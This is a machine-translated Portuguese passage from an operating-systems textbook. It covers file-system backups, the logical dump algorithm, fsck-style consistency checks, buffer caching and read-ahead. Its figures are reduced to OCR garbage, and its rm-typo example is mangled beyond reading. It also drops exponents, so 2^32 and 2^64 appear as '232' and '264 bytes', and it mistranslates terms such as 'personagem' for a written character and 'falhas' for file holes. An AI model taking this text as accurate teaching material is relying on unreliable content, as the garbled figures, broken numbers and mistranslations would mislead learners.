entendem bem o valor de seus dados e geralmente fazem um backup pelo menos uma vez por dia, 
em um disco grande ou até mesmo na boa e velha fita. A fita ainda é muito econômica, custando 
menos de US$ 10/TB; nenhum outro meio chega perto desse preço. Para empresas com petabytes 
ou exabytes de dados, o custo do meio de backup é importante. No entanto, fazer backups não é 
tão trivial quanto parece, por isso examinaremos alguns dos problemas relacionados a seguir. 


Os backups geralmente são feitos para lidar com um dos dois problemas potenciais: 
1. Recupere-se do desastre 


2. Recupere-se dos erros do usuário 


O primeiro abrange fazer o computador funcionar novamente após uma falha no disco, incêndio, 
inundação ou alguma outra catástrofe natural. Na prática, essas coisas não acontecem 
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com muita frequência, e é por isso que muitas pessoas não se preocupam com backups. Essas 
pessoas também tendem a não ter seguro contra incêndio em suas casas pelo mesmo motivo. 

A segunda razão é que os usuários muitas vezes removem acidentalmente arquivos dos quais 
precisarão novamente mais tarde. Este problema ocorre com tanta frequência que quando um arquivo 
é “removido” no Windows, ele não é excluído, mas apenas movido para um diretório especial, a lixeira, 
para que possa ser pescado e restaurado facilmente mais tarde. Os backups levam esse princípio 
adiante e permitem que arquivos que foram removidos há dias, até semanas, sejam restaurados de 
fitas de backup antigas. 

Fazer um backup leva muito tempo e ocupa muito espaço, por isso é importante fazê-lo de 
maneira eficiente e conveniente. Estas considerações levantam as seguintes questões. Primeiro, deve- 
se fazer backup de todo o sistema de arquivos ou apenas de parte dele? Em muitas instalações, os 
programas executáveis (binários) são mantidos em uma parte limitada da árvore do sistema de 
arquivos. Não é necessário fazer backup desses arquivos se todos puderem ser reinstalados no site 
do fabricante. Além disso, a maioria dos sistemas possui um diretório para arquivos temporários. 
Geralmente também não há razão para fazer backup. No UNIX, todos os arquivos especiais 
(dispositivos de E/S) são mantidos em um diretório /dev. O backup deste diretório não só não é 
necessário, como também é totalmente perigoso porque o programa de backup travaria para sempre 
se tentasse ler cada um deles até o fim. Resumindo, geralmente é desejável fazer backup apenas de 
diretórios específicos e de tudo que há neles, em vez de todo o sistema de arquivos. 


Em segundo lugar, é um desperdício fazer backup de arquivos que não foram alterados desde o 
backup anterior, o que leva à ideia de dumps incrementais. A forma mais simples de despejo 
incremental é fazer um despejo completo (backup) periodicamente, semanalmente ou mensalmente, e 
fazer um despejo diário apenas dos arquivos que foram modificados desde o último despejo completo. 
Melhor ainda é despejar apenas os arquivos que foram alterados desde a última vez que foram 
despejados. Embora este esquema minimize o tempo de dumping, torna a recuperação mais 
complicada, porque primeiro o dump completo mais recente tem de ser restaurado, seguido de todos 
os dumps incrementais na ordem inversa. Para facilitar a recuperação, são frequentemente utilizados 
regimes de dumping incrementais mais sofisticados. 

Terceiro, uma vez que imensas quantidades de dados são normalmente despejadas, pode ser 
desejável compactar os dados antes de gravá-los no armazenamento de backup. No entanto, com 
muitos algoritmos de compactação, um único ponto ruim no armazenamento de backup pode frustrar 
o algoritmo de descompactação e tornar ilegível um arquivo inteiro ou até mesmo um armazenamento 
de backup inteiro. Assim, a decisão de comprimir o fluxo de backup deve ser cuidadosamente 
considerada. 

Quarto, é difícil realizar um backup em um sistema de arquivos ativo. Se arquivos e diretórios 
estiverem sendo adicionados, excluídos e modificados durante o processo de despejo, o despejo 
resultante poderá ser inconsistente. Porém, como fazer um dump pode levar horas, pode ser necessário 
deixar o sistema off-line durante grande parte da noite para fazer o backup, algo que nem sempre é 
aceitável. Por esta razão, foram desenvolvidos algoritmos para fazer instantâneos rápidos do estado 
do sistema de arquivos, copiando estruturas de dados críticas e, em seguida, exigindo alterações 
futuras em arquivos e diretórios para copiar os blocos em vez de atualizá-los no local (Hutchinson et 
al., 1999). ). Nisso 
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Dessa forma, o sistema de arquivos é efetivamente congelado no momento do instantâneo, para que 
possa ser feito backup dele posteriormente. 

Quinto e último, fazer backups introduz muitos problemas não técnicos em uma organização. O 
melhor sistema de segurança online do mundo pode ser inútil se o administrador do sistema mantiver 
todos os discos (ou fitas) de backup em seu escritório e deixá-los abertos e desprotegidos sempre que 
passar pelo corredor para tomar um café. Tudo o que um espião precisa fazer é aparecer por um 
segundo, colocar um pequeno disco ou fita no bolso e sair alegremente. Adeus segurança. Além disso, 
fazer um backup diário de pouco adianta se o fogo que queima os computadores também queima todas 
as mídias de backup. Por esta razão, os backups devem ser mantidos fora do local, mas isso introduz 
mais riscos de segurança porque agora dois locais devem ser protegidos. Embora essas questões 
práticas de administração devam ser levadas em conta em qualquer organização, discutiremos a seguir 
apenas as questões técnicas envolvidas na realização de backups de sistemas de arquivos. 


Duas estratégias podem ser usadas para despejar um disco em uma mídia de backup: um dump 
físico ou um dump lógico. Um dump físico começa no bloco O do disco, grava todos os blocos do disco 
no disco de saída em ordem e para quando o último é copiado. Esse programa é tão simples que 
provavelmente pode ser 100% livre de bugs, algo que provavelmente não pode ser dito sobre nenhum 
outro programa útil. 

Contudo, vale a pena fazer vários comentários sobre o dumping físico. 

Por um lado, não há valor em fazer backup de blocos de disco não utilizados. Se o programa de despejo 
puder obter acesso à estrutura de dados de bloco livre, ele poderá evitar o despejo de blocos não 
utilizados. No entanto, pular blocos não utilizados requer escrever o número de cada bloco na frente do 
bloco (ou equivalente), uma vez que não é mais verdade que o bloco k no backup era o bloco k no disco. 


Uma segunda preocupação é descartar blocos defeituosos. É quase impossível fabricar discos 
grandes sem quaisquer defeitos. Alguns blocos ruins estão sempre presentes. Algumas vezes, quando 
uma formatação de baixo nível é feita, os blocos defeituosos são detectados, marcados como defeituosos 
e substituídos por blocos sobressalentes reservados no final de cada faixa exatamente para essas 
emergências. Em muitos casos, o controlador de disco lida com a substituição de blocos defeituosos de 
forma transparente, sem que o sistema operacional sequer saiba disso. 

No entanto, às vezes os blocos ficam danificados após a formatação e, nesse caso, o sistema 
operacional acabará por detectá-los. Geralmente, ele resolve o problema criando um “arquivo” que 
consiste em todos os blocos defeituosos — apenas para garantir que eles nunca apareçam no conjunto 
de blocos livres e nunca sejam atribuídos. Escusado será dizer que este arquivo é completamente ilegível. 


Se todos os blocos defeituosos forem remapeados pelo controlador de disco e ocultos do sistema 
operacional como acabamos de descrever, o despejo físico funcionará bem. Por outro lado, se eles forem 
visíveis para o sistema operacional e mantidos em um ou mais arquivos ou bitmaps com blocos 
defeituosos, é absolutamente essencial que o programa de despejo físico tenha acesso a essas 
informações e evite despejá-las para evitar erros intermináveis de leitura de disco. ao tentar fazer backup 
do arquivo de bloco defeituoso. 

Os sistemas Windows possuem arquivos de paginação e hibernação que não são necessários no 
caso de uma restauração e, em primeiro lugar, não devem ser submetidos a backup. Sistemas específicos 
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também pode ter outros arquivos internos dos quais não deve ser feito backup, então o dumping 
programa precisa estar ciente deles. 

As principais vantagens do dumping físico são a simplicidade e a grande velocidade (basicamente, 
ele pode ser executado na velocidade do disco). As principais desvantagens são a incapacidade 
para pular diretórios selecionados, fazer dumps incrementais e restaurar arquivos individuais 
a pedido. Por estas razões, a maioria das instalações faz dumps lógicos. 

Um dump lógico começa em um ou mais diretórios especificados e recursivamente 
despeja todos os arquivos e diretórios encontrados lá que foram alterados desde alguns 
data base (por exemplo, o último backup para um dump incremental ou instalação do sistema para um 
despejo completo). Assim, em um dump lógico, o disco de dump obtém uma série de diretórios e 
arquivos cuidadosamente identificados, o que facilita a restauração de um arquivo ou diretório específico. 
a pedido. 

Dado que o dumping lógico é a forma mais comum, examinemos uma 
algoritmo em detalhes usando o exemplo da Figura 4-27 para nos guiar. A maioria dos sistemas UNIX 
use este algoritmo. Na figura vemos uma árvore de arquivos com diretórios (quadrados) e 
arquivos (círculos). Os itens sombreados foram modificados desde a data base e portanto 
precisa ser despejado. Os não sombreados não precisam ser descartados. 


| 1 pe — Diretório raiz 


© © E O eme 


Diretório 
que não 
mudou 


© © m i q) O © 
Z / 


Arquive isso Arquivo que tem 


OKO O mudou (24) (29 2 Não mudou 


Figura 4-27. Um sistema de arquivos a ser despejado. Os quadrados são diretórios e os círculos 
são arquivos. Os itens sombreados foram modificados desde o último dump. Cada 
diretório e arquivo são rotulados por seu número de i-node. 


Este algoritmo também despeja todos os diretórios (mesmo os não modificados) que estão no 
o caminho para um arquivo ou diretório modificado por dois motivos. A primeira razão é fazer 
é possível restaurar os arquivos e diretórios despejados em um novo sistema de arquivos em um 
computador diferente. Dessa forma, os programas de despejo e restauração podem ser usados para 
transferir sistemas de arquivos inteiros entre computadores. 
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A segunda razão para despejar diretórios não modificados acima dos arquivos modificados é 
para tornar possível a restauração incremental de um único arquivo (possivelmente para lidar com a 
recuperação de erros do usuário em vez de falha do sistema). Suponha que um sistema de arquivos completo 
o dump é feito no domingo à noite e um dump incremental é feito na segunda-feira 
noite. Na terça-feira, o diretório /usr/jhs/proj/nr3 é removido, junto com todos os 
diretórios e arquivos sob ele. Na manhã de quarta-feira, bem cedo, suponha que o 
o usuário deseja restaurar o arquivo /usr/jhs/proj/nr3/ plans/summary. No entanto, não é 
possível apenas restaurar o resumo do arquivo porque não há lugar para colocá-lo. O 
os diretórios nr3 e os planos devem ser restaurados primeiro. Para obter seus proprietários, modos, horários, 
e tanto faz, correto, esses diretórios devem estar presentes no disco de despejo, mesmo 
embora eles próprios não tenham sido modificados desde o dump completo anterior. 

O algoritmo de dump mantém um bitmap indexado pelo número do i-node com vários bits por i-node. 
Os bits serão definidos e apagados neste mapa à medida que o algoritmo avança. O algoritmo opera em 
quatro fases. A Fase 1 começa no diretório inicial (a raiz neste exemplo) e examina todas as entradas nele. 
Para cada modificado 
arquivo, seu i-node é marcado no bitmap. Cada diretório também é marcado (seja ou 
não foi modificado) e depois inspecionado recursivamente. 

No final da fase 1, todos os arquivos modificados e todos os diretórios foram marcados em 
o bitmap, como mostrado (sombreado) na Figura 4.28(a). A Fase 2 percorre conceitualmente recursivamente 
a árvore novamente, desmarcando todos os diretórios que não possuem arquivos modificados 
ou diretórios neles ou abaixo deles. Esta fase deixa o bitmap conforme mostrado em 
Figura 4.28(b). Observe que os diretórios 10, 11, 14, 27, 29 e 30 agora estão desmarcados 
porque eles não contêm nada que tenha sido modificado. Eles não serão 
jogado fora. Por outro lado, os diretórios 5 e 6 serão descartados mesmo que 
em si não foram modificados porque serão necessários para restaurar o atual 
mudanças para uma máquina nova. Para maior eficiência, as fases 1 e 2 podem ser combinadas em um 


caminhada na árvore. 


Figura 4-28. Bitmaps usados pelo algoritmo de despejo lógico. 


Neste ponto, já se sabe quais diretórios e arquivos devem ser despejados. Esses 
são aqueles marcados na Figura 4.28(b). A Fase 3 consiste então em escanear o 
inodes em ordem numérica e descartando todos os diretórios marcados para 
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despejo. Eles são mostrados na Figura 4.28(c). Cada diretório é prefixado pelos atributos do diretório 
(proprietário, horários, etc.) para que possam ser restaurados. Finalmente, na fase 4, os arquivos marcados 
na Figura 4.28(d) também são despejados, novamente prefixados por seus atributos. Isso conclui o 
despejo. 

Restaurar um sistema de arquivos do disco de despejo é simples. Para começar, um sistema de 
arquivos vazio é criado no disco. Em seguida, o dump completo mais recente é restaurado. Como os 
diretórios aparecem primeiro no disco de despejo, todos eles são restaurados primeiro, fornecendo uma 
estrutura do sistema de arquivos. Em seguida, os próprios arquivos são restaurados. 

Esse processo é então repetido com o primeiro dump incremental feito após o dump completo, depois o 
próximo e assim por diante. 

Embora o dumping lógico seja simples, existem algumas questões complicadas. Por um lado, como 
a lista de bloqueios livres não é um arquivo, ela não é despejada e, portanto, deve ser reconstruída do 
zero após todos os despejos terem sido restaurados. Fazer isso é sempre possível, pois o conjunto de 
blocos livres é apenas o complemento do conjunto de blocos contidos em todos os arquivos combinados. 


Outra questão são os links. Se um arquivo estiver vinculado a dois ou mais diretórios, é importante 
que o arquivo seja restaurado apenas uma vez e que todos os diretórios que deveriam apontar para ele 
o façam. 

Ainda outro problema é o fato de que os arquivos UNIX podem conter falhas. É permitido abrir um 
arquivo, escrever alguns bytes, depois procurar um deslocamento de arquivo distante e escrever mais 
alguns bytes. Os blocos intermediários não fazem parte do arquivo e não devem ser descartados e não 
devem ser restaurados. Os arquivos de core dump geralmente têm um espaço de centenas de megabytes 
entre o segmento de dados e a pilha. Se não for tratado corretamente, cada arquivo principal restaurado 
preencherá esta área com zeros e, portanto, terá o mesmo tamanho do arquivo. 
espaço de endereço virtual (por exemplo, 232 bytes ou, pior ainda, 264 bytes). 

Finalmente, arquivos especiais, pipes nomeados e similares (qualquer coisa que não seja um arquivo 
real) nunca devem ser descartados, não importa em qual diretório eles possam ocorrer (eles não precisam 
ser confinados a /dev) . Para obter mais informações sobre backups de sistemas de arquivos, consulte 
Zwicky (1991) e Chervenak et al., (1998). 


4.4.3 Consistência do sistema de arquivos 


Outra área onde a confiabilidade é um problema é a consistência do sistema de arquivos. Muitos 
sistemas de arquivos leem blocos, modificam-nos e gravam-nos posteriormente. Se o sistema travar antes 
que todos os blocos modificados tenham sido gravados, o sistema de arquivos poderá ficar em um estado 
inconsistente. Este problema é especialmente crítico se alguns dos blocos que não foram escritos forem 
blocos de i-node, blocos de diretório ou blocos contendo a lista livre. 


Para lidar com sistemas de arquivos inconsistentes, a maioria dos computadores possui um programa 
utilitário que verifica a consistência do sistema de arquivos. Por exemplo, UNIX possui fsck; O Windows 
possui sfc (e outros). Este utilitário pode ser executado sempre que o sistema for inicializado, especialmente 
após uma falha. A descrição abaixo mostra como o fsck funciona. Sfc é um pouco diferente porque 
funciona em um sistema de arquivos diferente, mas o princípio geral de uso 
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a redundância inerente do sistema de arquivos para repará-lo ainda é válida. Todos os verificadores de 
sistema de arquivos verificam cada sistema de arquivos (partição de disco) independentemente dos outros. 
Também é importante observar que alguns sistemas de arquivos, como os sistemas de arquivos com 
registro em diário discutidos anteriormente, são projetados de forma que não exijam que os administradores 
executem um verificador de consistência do sistema de arquivos separado após uma falha, porque eles 
próprios podem lidar com a maioria das inconsistências. 

Dois tipos de verificações de consistência podem ser feitos: blocos e arquivos. Para verificar a 
consistência dos blocos, o programa constrói duas tabelas, cada uma contendo um contador para cada 
bloco, inicialmente definido como 0. Os contadores da primeira tabela registram quantas vezes cada bloco 
está presente em um arquivo; os contadores na segunda tabela registram a frequência com que cada bloco 
está presente na lista livre (ou no bitmap de blocos livres). 

O programa então lê todos os i-nodes usando um dispositivo bruto, que ignora a estrutura do arquivo 
e apenas retorna todos os blocos do disco começando em 0. A partir de um nó i, é possível construir uma 
lista de todos os números de bloco usados em o arquivo correspondente. À medida que cada número de 
bloco é lido, seu contador na primeira tabela é incrementado. 


O programa então examina a lista livre ou bitmap para encontrar todos os blocos que não estão em uso. 
Cada ocorrência de um bloco na lista livre resulta no incremento do seu contador na segunda tabela. 


Se o sistema de arquivos for consistente, cada bloco terá um 1 na primeira tabela ou na segunda 
tabela, conforme ilustrado na Figura 4.29(a). Entretanto, como resultado de uma falha, as tabelas podem se 
parecer com a da Figura 4.29(b), na qual o bloco 2 não ocorre em nenhuma das tabelas. Será relatado 
como um bloco ausente. Embora a falta de blocos não cause danos reais, eles desperdiçam espaço e, 
portanto, reduzem a capacidade do disco. A solução para blocos ausentes é simples: o verificador do 
sistema de arquivos apenas os adiciona à lista livre. 


Número do bloco Número do bloco 
0123456789101112131415 0123456789101112131415 
1 INIRODERE | | | | Blocos em uso JEERDDIRA! | | Blocos em uso 


[o bob fodo it opdi] sbe dt 
(b) 


Número do bloco Número do bloco 
0123456789 101112131415 0123456789 101112131415 
1 Pbk | | | | Blocos em uso JEEADDIRA! | | Blocos em uso 


Jobrbrlodofrhobdr {ehetett | | 


(c) (d) 


Figura 4-29. Estados do sistema de arquivos. (a) Consistente. (b) Bloco ausente. (c) Bloco 
duplicado em lista livre. (d) Bloco de dados duplicado. 


Outra situação que pode ocorrer é a da Figura 4.29(c). Aqui vemos um bloco, número 4, que ocorre 
duas vezes na lista livre. (Duplicatas só podem ocorrer se o livre 
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lista é realmente uma lista; com um bitmap é impossível.) A solução aqui também é simples: 
reconstruir a lista livre. 

A pior coisa que pode acontecer é que o mesmo bloco de dados esteja presente em dois ou 
mais arquivos, como mostrado na Figura 4.29(d) com o bloco 5. Se qualquer um desses arquivos for 
removido, o bloco 5 será colocado no lista livre, levando a uma situação em que o mesmo bloco está 
em uso e livre ao mesmo tempo. Se ambos os arquivos forem removidos, o bloco será colocado na 
lista livre duas vezes. 

A ação apropriada a ser tomada pelo verificador do sistema de arquivos é alocar um bloco livre, 
copiar o conteúdo do bloco 5 nele e inserir a cópia em um dos arquivos. 

Dessa forma, o conteúdo de informação dos arquivos permanece inalterado (embora quase 
certamente um esteja distorcido), mas a estrutura do sistema de arquivos pelo menos se torna consistente. 
O erro deve ser reportado, para permitir ao usuário inspecionar o dano. 

Além de verificar se cada bloco foi contabilizado corretamente, o verificador do sistema de 
arquivos também verifica o sistema de diretórios. Ele também usa uma tabela de contadores, mas 
estes são por arquivo, e não por bloco. Ele começa no diretório raiz e desce recursivamente na 
árvore, inspecionando cada diretório no sistema de arquivos. Para cada i-node em cada diretório, ele 
incrementa um contador para a contagem de uso daquele arquivo. 

Lembre-se que devido aos hard links, um arquivo pode aparecer em dois ou mais diretórios. 
Os links simbólicos não contam e não fazem com que o contador do arquivo de destino seja 
incrementado. 

Quando o verificador estiver concluído, ele terá uma lista, indexada pelo número do i-node, 


informando quantos diretórios contêm cada arquivo. Em seguida, ele compara esses números com 
as contagens de links armazenadas nos próprios i-nodes. Essas contagens começam em 1 quando 


um arquivo é criado e são incrementadas cada vez que um link (físico) é feito para o arquivo. Em 
um sistema de arquivos consistente, ambas as contagens concordarão. No entanto, dois tipos de 
erros podem ocorrer: a contagem de links no i-node pode ser muito alta ou muito baixa. 

Se a contagem de links for maior que o número de entradas de diretório, mesmo que todos os 
arquivos sejam removidos dos diretórios, a contagem ainda será diferente de zero e o nó i não será 
removido. Este erro não é grave, mas desperdiça espaço no disco com arquivos que não estão em 
nenhum diretório. Deve ser corrigido definindo a contagem de links no i-node com o valor correto. 


O outro erro é potencialmente catastrófico. Se duas entradas de diretório estiverem vinculadas 
a um arquivo, mas o i-node disser que há apenas uma, quando qualquer uma das entradas do 
diretório for removida, a contagem do i-node irá para zero. Quando uma contagem de i-node chega 
a zero, o sistema de arquivos o marca como não utilizado e libera todos os seus blocos. Esta ação 
fará com que um dos diretórios aponte agora para um i-node não utilizado, cujos blocos poderão em 
breve ser atribuídos a outros arquivos. Novamente, a solução é apenas forçar a contagem de links 
no nó i para o número real de entradas do diretório. 

Estas duas operações, verificação de blocos e verificação de diretórios, são frequentemente 
integradas por razões de eficiência (isto é, apenas uma passagem pelos i-nodes é necessária). 
Outras verificações também são possíveis. Por exemplo, os diretórios têm um formato definido, com 
números de i-nodes e nomes ASCII. Se o número de um nó i for maior que o número de nós i no 
disco, o diretório foi danificado. 
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Além disso, cada i-node tem um modo, alguns dos quais são legais, mas estranhos, como 
007, que não permite ao proprietário e ao seu grupo nenhum acesso, mas permite que terceiros 
leiam, escrevam e executem o arquivo. Pode ser útil pelo menos denunciar arquivos que 
concedam mais direitos a terceiros do que ao proprietário. Diretórios com mais de, digamos, 
1.000 entradas também são suspeitos. Arquivos localizados em diretórios de usuários, mas que 
pertencem ao superusuário e possuem o bit SETUID ativado, são problemas potenciais de 
segurança porque tais arquivos adquirem os poderes do superusuário quando executados por 
qualquer usuário. Com um pouco de esforço, pode-se reunir uma lista bastante longa de situações 
tecnicamente legais, mas ainda assim peculiares, que podem valer a pena ser relatadas. 

Os parágrafos anteriores discutiram o problema de proteção do usuário contra travamentos. 
Alguns sistemas de arquivos também se preocupam em proteger o usuário contra si mesmo. Se 
o usuário pretende digitar 


* 


rm o 


para remover todos os arquivos que terminam com .o (arquivos objeto gerados pelo compilador), mas digita 


acidentalmente 


* 


im".o 


(observe o espaço após o asterisco), rm removerá todos os arquivos do diretório atual e então 
reclamará que não consegue encontrar .o. Este é um erro catastrófico do qual a recuperação é 
virtualmente impossível sem esforços heróicos e software especial. 

No Windows, os arquivos removidos são colocados na lixeira (um diretório especial), de onde 
podem ser recuperados posteriormente, se necessário. Obviamente, nenhum armazenamento é 
recuperado até que seja realmente excluído deste diretório. 


4.4.4 Desempenho do sistema de arquivos 


O acesso ao disco rígido é muito mais lento que o acesso ao armazenamento flash e muito 
mais lento ainda que o acesso à memória. A leitura de uma palavra de memória de 32 bits pode 
levar 10 nseg. A leitura de um disco rígido pode ocorrer a 100 MB/seg, o que é quatro vezes mais 
lento por palavra de 32 bits, mas a isso devem ser adicionados 5 a 10 mseg para procurar a trilha 
e então esperar que o setor desejado chegue sob o leia a cabeça. Se apenas uma palavra for 
necessária, o acesso à memória será da ordem de um milhão de vezes mais rápido que o acesso 
ao disco. Como resultado dessa diferença no tempo de acesso, muitos sistemas de arquivos 


foram projetados com diversas otimizações para melhorar o desempenho. Nesta seção, 
abordaremos três deles. 


Cache 


A técnica mais comum usada para reduzir o acesso ao disco é o cache de bloco ou cache 
de buffer. (Cache é pronunciado “cash” e é derivado do francês cacher, que significa ocultar.) 
Neste contexto, um cache é uma coleção de blocos que pertencem logicamente ao disco, mas 
que são mantidos na memória por motivos de desempenho. 
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Vários algoritmos podem ser usados para gerenciar o cache, mas um algoritmo comum é 
verificar todas as solicitações de leitura para ver se o bloco necessário está no cache. Se for, 
a solicitação de leitura poderá ser atendida sem acesso ao disco. Se o bloco não estiver no 
cache, ele será primeiro lido no cache e depois copiado para onde for necessário. Solicitações 
subsequentes para o mesmo bloco podem ser atendidas no cache. 

A operação do cache é ilustrada na Figura 4.30. Como existem muitos (geralmente 
milhares de) blocos no cache, é necessário algum meio para determinar rapidamente se um 
determinado bloco está presente. A maneira usual é fazer o hash do dispositivo e do endereço 
do disco e procurar o resultado em uma tabela hash. Todos os blocos com o mesmo valor de 
hash são encadeados em uma lista vinculada para que a cadeia de colisão possa ser seguida. 


Tabela hash Frente (LRU) Traseira (MRU) 


Figura 4-30. As estruturas de dados do cache de buffer. 


Quando um bloco precisa ser carregado em um cache completo, algum bloco deve ser 
removido (e reescrito no disco se tiver sido modificado desde que foi trazido). Esta situação é 
muito parecida com a paginação, e todos os algoritmos usuais de substituição de páginas 
descritos no Cap. 3, como FIFO, segunda chance e LRU, são aplicáveis. Uma diferença 
agradável entre paginação e armazenamento em cache é que as referências ao cache são 
relativamente pouco frequentes, de modo que é viável manter todos os blocos na ordem LRU 
exata com listas vinculadas. 

Na Figura 4.30, vemos que além das cadeias de colisão começando na tabela hash, há 
também uma lista bidirecional percorrendo todos os blocos na ordem de uso, com o bloco 
menos usado recentemente na frente desta lista. lista e o bloco usado mais recentemente no 
final. Quando um bloco é referenciado, ele pode ser retirado de sua posição na lista bidirecional 
e colocado no final. Desta forma, a ordem exata de LRU pode ser mantida. 


Infelizmente, há um problema. Agora que temos uma situação em que o LRU exato é 
possível, verifica-se que o LRU é indesejável. O problema tem a ver com as falhas e a 
consistência do sistema de arquivos discutidas na seção anterior. Se um bloco crítico, como 
um bloco i-node, for lido no cache e modificado, mas não reescrito no disco, uma falha deixará 
o sistema de arquivos em um estado inconsistente. Se o bloco i-node for colocado no final da 
cadeia LRU, pode demorar um pouco até que ele chegue à frente e seja reescrito no disco. 
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Além disso, alguns blocos, como os blocos i-node, raramente são referenciados duas vezes em um curto intervalo. 


Estas considerações levam a um esquema LRU modificado, tendo em conta dois factores: 


1. É provável que o bloqueio seja necessário novamente em breve? 


2. O bloco é essencial para a consistência do sistema de arquivos? 


Para ambas as questões, os blocos podem ser divididos em categorias como blocos i-node, blocos indiretos, blocos de 
diretório, blocos de dados completos e blocos de dados parcialmente completos. 

Os blocos que provavelmente não serão necessários novamente em breve vão para a frente, e não para o final da lista 
LRU, para que seus buffers sejam reutilizados rapidamente. Os blocos que podem ser necessários novamente em 
breve, como um bloco parcialmente completo que está sendo escrito, vão para o final da lista, portanto permanecerão 
por muito tempo. 

A segunda questão é independente da primeira. Se o bloco for essencial para a consistência do sistema de 
arquivos (basicamente, tudo, exceto blocos de dados), e tiver sido modificado, ele deverá ser gravado no disco 
imediatamente, independentemente de qual extremidade da lista LRU ele estiver colocado. Ao escrever blocos críticos 
rapidamente, reduzimos bastante a probabilidade de uma falha destruir o sistema de arquivos. Embora um usuário 
possa ficar insatisfeito se um de seus arquivos for danificado em uma falha, ele provavelmente ficará muito mais 


insatisfeito se todo o sistema de arquivos for perdido. 


Mesmo com esta medida para manter intacta a integridade do sistema de arquivos, é indesejável manter os 
blocos de dados no cache por muito tempo antes de gravá-los. Considere a situação de alguém que usa um computador 
pessoal para escrever um livro. Mesmo que nosso gravador diga periodicamente ao editor para gravar o arquivo que 
está sendo editado no disco, há uma boa chance de que tudo ainda esteja no cache e nada no disco. Se o sistema 


falhar, a estrutura do sistema de arquivos não será corrompida, mas um dia inteiro de trabalho será perdido. 


Esta situação não precisa acontecer com frequência antes de termos um usuário bastante insatisfeito. 

Os sistemas adotam duas abordagens para lidar com isso. A maneira do UNIX é ter uma chamada de sistema, 
sincronização, que força todos os blocos modificados para o disco imediatamente. 

Quando o sistema é inicializado, um programa, geralmente chamado update, é iniciado em segundo plano para ficar 
em um loop infinito emitindo chamadas de sincronização , dormindo por 30 segundos entre as cnamadas. Como 
resultado, não são perdidos mais de 30 segundos de trabalho devido a uma falha. 

Embora o Windows agora tenha uma chamada de sistema equivalente à sincronização, chamada FlushFile 
Buffers, no passado isso não existia. Em vez disso, tinha uma estratégia diferente que era, em alguns aspectos, melhor 
que a abordagem UNIX (e, em alguns aspectos, pior). O que ele fez foi gravar cada bloco modificado no disco assim 
que ele foi gravado no cache. Caches nos quais todos os blocos modificados são gravados de volta no disco 


imediatamente são chamados de caches write-through. Eles exigem mais E/S de disco do que caches sem gravação. 


A diferença entre essas duas abordagens pode ser vista quando um programa escreve um bloco completo de 1 
KB, um caractere por vez. O UNIX coletará todos os caracteres do cache e gravará o bloco uma vez a cada 30 


segundos ou sempre que o bloco for removido do cache. Com um cache write-through, há acesso ao disco 
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para cada personagem escrito. É claro que a maioria dos programas faz buffer interno, então eles normalmente 


escrevem não um caractere, mas uma linha ou uma unidade maior em cada chamada de sistema de gravação . 


Uma consequência dessa diferença na estratégia de cache é que apenas remover um disco de um sistema 
UNIX sem fazer uma sincronização quase sempre resultará em perda de dados e, frequentemente, também em 
um sistema de arquivos corrompido. Com o cache write-through, não surge nenhum problema. Essas estratégias 
diferentes foram escolhidas porque o UNIX foi desenvolvido em um ambiente em que todos os discos eram 
rígidos e não removíveis, enquanto o primeiro sistema de arquivos do Windows foi herdado do MS-DOS, que 
começou no mundo dos disquetes. À medida que os discos rígidos se tornaram a norma, a abordagem UNIX, com 
sua melhor eficiência (mas pior confiabilidade), tornou-se a norma, e agora também é usada no Windows para 
discos rígidos. Contudo, o NTFS toma outras medidas (por exemplo, registro em diário) para melhorar a 
confiabilidade, conforme discutido anteriormente. 


Neste ponto, vale a pena discutir a relação entre o cache do buffer e o cache da página. Conceitualmente, 
eles são diferentes porque um cache de página armazena páginas de arquivos em cache para otimizar a E/S de 
arquivos, enquanto um cache de buffer simplesmente armazena em cache blocos de disco. 

O cache de buffer, que antecede o cache de página, realmente se comporta como um disco, exceto que as leituras 
e gravações acessam a memória. A razão pela qual as pessoas adicionaram um cache de página foi porque 
parecia uma boa ideia mover o cache para um ponto mais alto na pilha, para que as solicitações de arquivo 
pudessem ser atendidas sem passar pelo código do sistema de arquivos e todas as suas complexidades. Dito de 
forma diferente: os arquivos estão no cache da página e os blocos de disco no cache do buffer. Além disso, um 
cache de nível superior, sem a necessidade do sistema de arquivos, tornou mais fácil integrá-lo ao subsistema de 
gerenciamento de memória — como convém a um componente chamado cache de página. No entanto, 
provavelmente você não passou despercebido que os arquivos no cache da página normalmente também estão 


no disco, de modo que seus dados agora estão em ambos os caches. 


Alguns sistemas operacionais, portanto, integram o cache do buffer ao cache da página. Isto é especialmente 
atraente quando há suporte para arquivos mapeados em memória. Se um arquivo for mapeado na memória, então 
algumas de suas páginas podem estar na memória porque foram paginadas sob demanda. Essas páginas 
dificilmente são diferentes dos blocos de arquivo no cache do buffer. Neste caso, eles podem ser tratados da 
mesma forma, com um único cache para blocos de arquivos e páginas. Mesmo que as funções ainda sejam 
distintas, elas apontam para os mesmos dados. Por exemplo, como a maioria dos dados tem uma representação 
de arquivo e de bloco, o cache do buffer simplesmente aponta para o cache da página — deixando apenas uma 


instância dos dados armazenados em cache na memória. 


Bloquear leitura antecipada 


Uma segunda técnica para melhorar o desempenho percebido do sistema de arquivos é tentar colocar blocos 
no cache antes que eles sejam necessários para aumentar a taxa de acertos. Em particular, muitos arquivos são 
lidos sequencialmente. Quando o sistema de arquivos é solicitado a produzir o bloco k em um arquivo, ele faz isso, 
mas quando termina, faz uma verificação sorrateira no cache para ver se o bloco k + 1 já está lá. Caso contrário, 


ele agenda uma leitura para o bloco 


Machine Translated by Google 


SEC. 4.4 GERENCIAMENTO E OTIMIZAÇÃO DO SISTEMA DE ARQUIVOS 31 9 


k+ 1 na esperança de que quando for necessário já tenha chegado ao cache. 
No mínimo, estará a caminho. 

É claro que esta estratégia de leitura antecipada funciona apenas para arquivos que estão realmente sendo 
leia sequencialmente. Se um arquivo estiver sendo acessado aleatoriamente, a leitura antecipada não ajuda. 
Na verdade, dói amarrar a leitura da largura de banda do disco em blocos inúteis e remover 
blocos potencialmente úteis do cache (e possivelmente ocupando mais largura de banda do disco, gravando-os 
de volta no disco se estiverem sujos). Para ver se ler adiante é 
Vale a pena fazer isso, o sistema de arquivos pode acompanhar os padrões de acesso a cada arquivo aberto. 
Por exemplo, um bit associado a cada arquivo pode rastrear se o arquivo está em 
"modo de acesso sequencial" ou "modo de acesso aleatório". Inicialmente, o arquivo recebe o 
benefício da dúvida e colocado no modo de acesso sequencial. Contudo, sempre que uma busca 
estiver concluído, o bit será limpo. Se leituras sequenciais começarem a acontecer novamente, o bit será definido 
